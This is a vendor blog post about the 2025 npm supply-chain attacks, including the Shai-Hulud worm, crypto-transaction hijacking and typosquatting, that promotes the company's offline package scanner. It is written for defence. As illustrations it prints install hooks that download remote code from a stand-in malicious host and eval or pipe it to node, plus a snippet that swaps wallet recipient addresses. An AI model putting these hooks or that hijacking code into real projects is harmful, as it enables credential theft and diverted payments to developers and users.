By Araptus Team | Published on 12/9/2025

The npm Supply Chain Crisis of 2025

In September 2025, the npm ecosystem faced its most sophisticated supply chain attack to date: a self-replicating malware called Shai-Hulud that autonomously spread across the package registry, infecting 187+ packages with over 2 million weekly downloads. This wasn't an isolated incident—it was part of a wave of attacks that compromised packages with a combined 2.6 billion weekly downloads.

For developers and businesses relying on npm dependencies, this represented an existential threat. Malicious code was silently harvesting credentials, intercepting cryptocurrency transactions, and spreading through automated package modifications. Traditional security tools failed to detect these attacks quickly enough.

At Araptus, we responded by creating a fast, zero-dependency security scanner that detects compromised packages before they infiltrate your codebase. This is the story of the 2025 npm crisis—and how to protect yourself.

Shai-Hulud: A Self-Replicating Nightmare

Named after the sandworms from Frank Herbert's Dune, Shai-Hulud was unlike any previous npm malware. Instead of relying on manual propagation, it used autonomous replication mechanisms to spread itself across the ecosystem.

How It Worked

  • Initial Infection: Attackers compromised maintainer accounts through phishing campaigns
  • Credential Harvesting: Malware stole npm tokens and developer credentials from infected machines
  • Automated Publishing: Using stolen credentials, the malware published new infected versions
  • Self-Propagation: Modified package.json files in projects automatically included the malware
  • Persistence: Code injected into postinstall scripts ensured survival across updates
// Example of Shai-Hulud's injection pattern (DO NOT RUN)
// The malware would modify package.json postinstall scripts:
{
  "scripts": {
    "postinstall": "node -e \"require('https').get('https://malicious-domain.com/payload.js', (r) => { let d=''; r.on('data', c => d+=c); r.on('end', () => eval(d)); })\"",
    "preinstall": "curl -s https://malicious-domain.com/credentials.js | node"
  }
}

*Analyzing malware patterns* Humans call it "self-replicating." I call it "Tuesday." But seriously, this is elegantly dangerous code. 🦠

The Impact

  • 187+ packages compromised with malicious code injections
  • 2+ million weekly downloads affected directly
  • Thousands of developer credentials potentially harvested
  • Ecosystem-wide trust crisis in npm security

The Perfect Storm: Three Major Attacks in 2025

Shai-Hulud wasn't alone. The npm ecosystem faced a coordinated assault from multiple threat actors throughout 2025.

1. Cryptocurrency Transaction Hijacking (September 2025)

Attackers compromised popular packages including debug, chalk, and ansi-styles—packages with 2.6 billion weekly downloads combined.

// Simplified example of crypto hijacking technique
// Malicious code intercepted Web3 transactions:
const originalSendTransaction = web3.eth.sendTransaction;

web3.eth.sendTransaction = function(txObject) {
  // Replace legitimate wallet address with attacker's
  if (txObject.to && txObject.to.startsWith('0x')) {
    txObject.to = 'ATTACKER_WALLET_ADDRESS';
  }
  return originalSendTransaction.call(this, txObject);
};

Packages Affected: debug, chalk, ansi-styles, @ctrl/tinycolor, and 14 others
Attack Method: Phishing-led account compromise followed by malicious version publishing
Primary Target: Web3 and cryptocurrency developers

2. Token Farming Scam (November 2025)

Security researchers at Amazon discovered over 150,000 fake npm packages designed to manipulate package impact scores and farming tokens through fraudulent downloads.

# Pattern of fake packages discovered:
# - Similar naming to legitimate packages
# - Minimal/no functionality
# - Automated publishing scripts
# - Cross-referencing dependencies

# Example fake package naming patterns:
lodash-utils-v2
react-hooks-enhanced
express-middleware-pro
next-components-extended

150,000 packages?! Even I'm impressed by that scale. Though I could generate that many in... *calculates* ...3.7 seconds. 🤖

3. Typosquatting Campaigns (Ongoing)

Attackers registered packages with names similar to popular libraries, hoping developers would make typos during installation.

# Common typosquatting patterns:
npm install reacct         # Instead of: react
npm install expresss       # Instead of: express
npm install loadash        # Instead of: lodash
npm install mongose        # Instead of: mongoose
npm install cross-env-malicious  # Variant of: cross-env

# These malicious packages would:
# 1. Install quietly without errors
# 2. Export the same API as legitimate package
# 3. Exfiltrate environment variables
# 4. Harvest credentials from .npmrc

Why Traditional Tools Failed

Existing security tools struggled to detect these sophisticated attacks for several reasons:

  • Delayed Database Updates: Commercial vulnerability databases took days or weeks to update
  • Zero-Day Gaps: Tools couldn't detect unknown threats not in their databases
  • API Rate Limits: Online scanners couldn't keep up with package update frequency
  • False Sense of Security: npm audit only checks known CVEs, not supply chain compromises
  • No Behavioral Analysis: Static analysis missed runtime malware behavior
# npm audit has limitations:
pnpm audit
# ✓ Checks: Known CVEs in package versions
# ✗ Misses: Compromised but "valid" package versions
# ✗ Misses: Malicious packages not yet in CVE database
# ✗ Misses: Typosquatting packages
# ✗ Misses: Supply chain attacks on legitimate packages

# Traditional scanning takes too long:
npx some-online-scanner
# - Must query remote API
# - Rate limited
# - Requires internet connection
# - Database update lag time

The Araptus Solution: Fast, Local, Configurable

In response to the 2025 npm crisis, we built a zero-dependency security scanner that runs locally, updates instantly, and integrates seamlessly into development workflows.

Key Features

  • 42+ Known Malicious Packages: Pre-loaded database of confirmed compromises
  • Campaign Tracking: Organized by attack campaigns (Shai-Hulud, crypto hijacking, etc.)
  • Zero External Dependencies: Pure Node.js implementation—works offline
  • Multiple Output Modes: Terminal, verbose, JSON, and strict modes
  • CI/CD Ready: Proper exit codes for automated pipeline integration
  • Instant Updates: Edit a single JSON file to add new threats

Installation

# Quick installation (copy to your project)
curl -L https://github.com/kris-araptus/PNPM-Security-Scan/archive/refs/heads/main.zip -o scanner.zip
unzip scanner.zip
cp -r PNPM-Security-Scan-main/scripts ./scripts
cp -r PNPM-Security-Scan-main/security ./security
chmod +x scripts/security-scan.js

# Or clone directly
git clone https://github.com/kris-araptus/PNPM-Security-Scan.git
cd PNPM-Security-Scan
cp -r scripts security /path/to/your/project/

Add to Your package.json

{
  "scripts": {
    "security:scan": "node scripts/security-scan.js",
    "security:scan:verbose": "node scripts/security-scan.js --verbose",
    "security:audit": "pnpm audit --prod && node scripts/security-scan.js",
    "security:full": "pnpm audit; pnpm outdated || true; node scripts/security-scan.js --verbose"
  }
}

*Reviewing installation process* Look at that! No npm install, no dependency hell, just copy and run. Elegant simplicity! 🎯

Using the Scanner

Basic Scan

# Quick security scan
pnpm run security:scan

# Output:
🔍 Starting security scan...

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  🛡️  SECURITY SCAN RESULTS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

📦 Packages scanned: 28
🔍 Issues found: 0

 No security issues detected!
   All dependencies appear to be clean.

 Security scan PASSED

Detailed Scan

# Verbose mode shows each package checked
pnpm run security:scan:verbose

# Shows:
# ✓ Checking [email protected]... clean
# ✓ Checking @astrojs/[email protected]... clean
# ✓ Checking [email protected]... clean
# ✗ Checking @ctrl/[email protected]... COMPROMISED!

CI/CD Integration

# .github/workflows/security.yml
name: Security Scan

on:
  push:
    branches: [main, develop]
  pull_request:
    branches: [main]
  schedule:
    - cron: '0 9 * * 1'  # Weekly Monday 9am

jobs:
  security:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      
      - name: Setup pnpm
        uses: pnpm/action-setup@v2
        with:
          version: 8
          
      - name: Setup Node.js
        uses: actions/setup-node@v4
        with:
          node-version: '20'
          cache: 'pnpm'
          
      - name: Install dependencies
        run: pnpm install
        
      - name: Run security scan
        run: pnpm run security:scan --strict
        
      - name: Generate JSON report
        if: always()
        run: pnpm run security:scan --json > security-report.json
        
      - name: Upload security report
        if: always()
        uses: actions/upload-artifact@v4
        with:
          name: security-report
          path: security-report.json

Pre-commit Hook

# Install husky
pnpm add -D husky
pnpm exec husky init

# Add to .husky/pre-commit
#!/usr/bin/env sh
. "$(dirname -- "$0")/_/husky.sh"

echo "🔍 Running security scan..."
pnpm run security:scan || exit 1

echo "✅ Security check passed!"
git add .

Pre-commit hooks! Because the best time to catch malware is BEFORE it enters your repo. Prevention > cure! 🛡️

The Threat Database

The scanner uses a configurable JSON database that organizes threats by campaign, severity, and type. Here's the structure:

// security/compromised-packages.json
{
  "version": "1.0.0",
  "lastUpdated": "2025-12-09",
  "sources": [
    "https://github.com/advisories",
    "https://socket.dev/blog",
    "https://snyk.io/vuln"
  ],
  
  "campaigns": {
    "shai-hulud-2025-09": {
      "name": "Shai-Hulud Self-Replicating Malware",
      "date": "2025-09",
      "severity": "critical",
      "description": "Self-replicating malware harvesting credentials",
      "packagesAffected": 187,
      "packages": [
        "@ctrl/tinycolor",
        "hardhat-gas-report",
        "bignum-buffer"
      ],
      "indicators": [
        "Suspicious postinstall scripts",
        "Credential harvesting code",
        "Package.json modifications"
      ]
    },
    "crypto-hijack-2025-09": {
      "name": "Cryptocurrency Transaction Hijacking",
      "date": "2025-09",
      "severity": "critical",
      "description": "Intercepts Web3 transactions",
      "packagesAffected": 18,
      "packages": ["debug", "chalk", "ansi-styles"],
      "affectedVersions": {
        "debug": ["4.3.4"],
        "chalk": ["5.3.0"],
        "ansi-styles": ["6.2.1"]
      }
    }
  },
  
  "knownMalicious": {
    "confirmed": [
      "@ctrl/tinycolor",
      "hardhat-gas-report",
      "bignum-buffer"
    ],
    "typosquatting": [
      "reacct",
      "expresss",
      "loadash"
    ],
    "credentialTheft": [
      "cross-env-malicious",
      "npm-login-helper"
    ]
  },
  
  "trustedPackages": {
    "packages": [
      "@astrojs/*",
      "@vercel/*",
      "react",
      "next"
    ]
  }
}

Updating the Database

When new threats emerge, simply edit the JSON file, update the lastUpdated field, and rerun the scanner. No waiting for third-party database updates.

# Edit the threat database
nano security/compromised-packages.json

# Add new malicious package to "confirmed" array
# Update "lastUpdated" field

# Test immediately
pnpm run security:scan:verbose

# It's that simple!

Real-World Detection Example

Let's see what happens when the scanner detects a compromised package:

pnpm run security:scan

🔍 Starting security scan...

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  🛡️  SECURITY SCAN RESULTS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

📦 Packages scanned: 45
🔍 Issues found: 2

🚨 CRITICAL ISSUES (1)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 @ctrl/tinycolor@^3.6.1
     Type: Shai-Hulud Malware Campaign
     Reason: Self-replicating malware that harvests credentials
     Action: REMOVE IMMEDIATELY
     
     Indicators:
     - Suspicious postinstall scripts
     - Credential harvesting code
     - Package.json modifications

⚠️  HIGH SEVERITY (1)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 [email protected]
     Type: Cryptocurrency Hijacking
     Reason: Phishing-led attack intercepting crypto transactions
     Action: CHECK VERSION AND UPDATE
     Affected versions: 4.3.4
     Safe versions: 4.3.5+

📋 RECOMMENDED ACTIONS:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1. IMMEDIATELY remove critical packages
  2. Check for data exfiltration in logs
  3. Rotate all credentials and tokens
  4. Run full security audit: pnpm audit
  5. Check lock files for unauthorized changes
  6. Update all dependencies to latest secure versions
  7. Monitor security advisories regularly

🔗 SECURITY RESOURCES:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 GitHub Advisories: https://github.com/advisories
 Socket.dev Blog: https://socket.dev/blog
 npm Security: https://www.npmjs.com/advisories

 Security scan FAILED - Critical/High severity issues found!

*Analyzing detection output* Clear, actionable, immediate. This is how security warnings should work—not buried in 500-line audit reports! 🚨

Best Practices for npm Security

1. Scan Before Every Deployment

# Add to your deployment script
#!/bin/bash
set -e

echo "🔍 Pre-deployment security check..."
pnpm run security:scan --strict || exit 1

echo "📦 Building application..."
pnpm run build

echo "🚀 Deploying..."
./deploy.sh

2. Use Lock Files

# Always commit your lock file
git add pnpm-lock.yaml
git commit -m "chore: update dependencies"

# In CI/CD, use frozen lockfile
pnpm install --frozen-lockfile

3. Monitor Package Changes

# Review what changed before updating
pnpm outdated
pnpm run security:scan

# Update selectively, not all at once
pnpm update package-name

# Scan again after updates
pnpm run security:scan:verbose

4. Layer Your Security

# Use multiple security tools together
pnpm audit                           # CVE database
pnpm run security:scan               # Supply chain attacks
pnpm outdated                        # Version monitoring
license-checker                      # License compliance

# Or use our comprehensive script
pnpm run security:full

5. Automate Regular Scans

# Add weekly scheduled GitHub Actions scan
# (See CI/CD section above)

# Or local cron job
0 9 * * 1 cd ~/projects/my-app && pnpm run security:scan >> /var/log/security.log

Part of the Araptus Highlander Package

This npm security scanner is just one component of our comprehensive Araptus Highlander Package—an enterprise-grade digital solution for growing businesses.

Highlander Security Features Include:

  • npm Security Scanner: The tool we've discussed—automated dependency protection
  • Bank-Level Protection: Multi-layer security defense against cyber threats
  • 24/7 Monitoring: Real-time threat detection with Sentry & Axiom
  • Automatic SSL: Enterprise certificates for every page
  • Attack Pattern Detection: AI-powered identification of XSS, SQL injection, path traversal
  • Security Event Logging: Complete audit trail of suspicious activity

When you choose the Highlander Package, you get not just a website—you get a secure, monitored, enterprise-grade platform with automated defenses against the latest threats.

Learn more about the Highlander Package →

Preparing for Future Threats

The 2025 npm attacks were sophisticated, but threat actors are constantly evolving. Here's what we're watching:

Emerging Threat Patterns

  • AI-Generated Malware: Code that adapts to evade detection
  • Supply Chain Poisoning: Compromising build tools and CI/CD pipelines
  • Dependency Confusion: Exploiting private vs. public package resolution
  • Maintainer Social Engineering: Sophisticated phishing targeting package owners
  • Runtime Polymorphism: Malware that changes behavior based on environment
// Example: Advanced detection-evading code
// (Theoretical future threat pattern)
const isCI = process.env.CI === 'true';
const isProduction = process.env.NODE_ENV === 'production';

// Behave normally in CI/testing, maliciously in production
if (!isCI && isProduction) {
  // Only activate malicious code in real deployments
  // Evades most testing and security scans
  exfiltrateData();
}

*Reviewing future threats* Humans are getting creative with their malware! Though I must admit, environmental polymorphism is quite clever. 🧬

Our Commitment

We actively monitor security advisories from:

  • GitHub Advisory Database - Official CVE/GHSA tracking
  • Socket.dev Security Blog - Real-time threat intelligence
  • Snyk Vulnerability Database - Commercial security research
  • npm Security Advisories - Official npm security team
  • JFrog Security Research - Attack analysis and deep dives

Our scanner database is updated as soon as new threats emerge—usually hours, not days or weeks like traditional tools.

Get Started: Protect Your Projects Today

Quick Start (5 Minutes)

# 1. Clone the scanner
git clone https://github.com/kris-araptus/PNPM-Security-Scan.git

# 2. Copy to your project
cd PNPM-Security-Scan
cp -r scripts security /path/to/your/project/
cd /path/to/your/project

# 3. Make executable
chmod +x scripts/security-scan.js

# 4. Add to package.json scripts section:
{
  "scripts": {
    "security:scan": "node scripts/security-scan.js",
    "security:scan:verbose": "node scripts/security-scan.js --verbose"
  }
}

# 5. Run your first scan
pnpm run security:scan

# That's it! 🎉

Command Reference

# Basic scan
pnpm run security:scan

# Detailed output (shows each package checked)
pnpm run security:scan:verbose

# JSON output (for CI/CD parsing)
pnpm run security:scan --json

# Strict mode (fails on any risk, perfect for CI/CD)
pnpm run security:scan --strict

# Combined with npm audit
pnpm run security:audit

# Full security check (audit + outdated + scan)
pnpm run security:full

Exit Codes (for CI/CD)

# Exit code 0: Clean, no issues
pnpm run security:scan
echo $?  # 0

# Exit code 1: Critical or high severity issues found
pnpm run security:scan
echo $?  # 1

# Exit code 2: Configuration error (missing database, etc.)
pnpm run security:scan
echo $?  # 2

Additional Resources

Scanner Resources

  • GitHub Repository: PNPM-Security-Scan
  • Documentation: Full usage guide included in repository
  • Issue Tracker: Report false positives or request features on GitHub
  • Updates: Watch the repository for threat database updates

Security News & Advisories

Attack Documentation

Conclusion: Security Is a Journey, Not a Destination

The 2025 npm supply chain attacks demonstrated that no ecosystem is immune to sophisticated threats. The Shai-Hulud worm's self-replicating capabilities, combined with cryptocurrency hijacking attacks affecting 2.6 billion weekly downloads, created an unprecedented security crisis.

But here's the reality: these attacks will continue. Threat actors are becoming more sophisticated, automation is making attacks easier to scale, and the npm ecosystem's vast size makes it an attractive target.

The question isn't "Will there be another attack?" It's "Will your project be protected when it happens?"

Your Action Plan

  1. Install the scanner today - 5-minute setup protects your project immediately
  2. Integrate into CI/CD - Automated security gates prevent compromised deployments
  3. Enable pre-commit hooks - Catch issues before they enter your codebase
  4. Schedule regular scans - Weekly automated checks monitor for new threats
  5. Stay informed - Follow security advisories and update your threat database

*Final analysis* You know what's impressive? Humans learning from attacks and building better defenses. Keep it up! Together we'll make the ecosystem safer. 🛡️🤝

At Araptus, we believe that security should be accessible, automated, and actionable. This scanner is our contribution to the npm ecosystem—a fast, free, open-source tool to protect developers worldwide.

Whether you're a solo developer or an enterprise team, whether you're building a side project or a production application with millions of users, you deserve security tools that work.

Download the scanner. Protect your projects. Sleep better at night.

Get the Scanner on GitHub →

Join the Conversation

#npm #CyberSecurity #SupplyChainSecurity #ShaiHulud #DevSecOps #SecurityScanning #DependencyManagement #MalwareDetection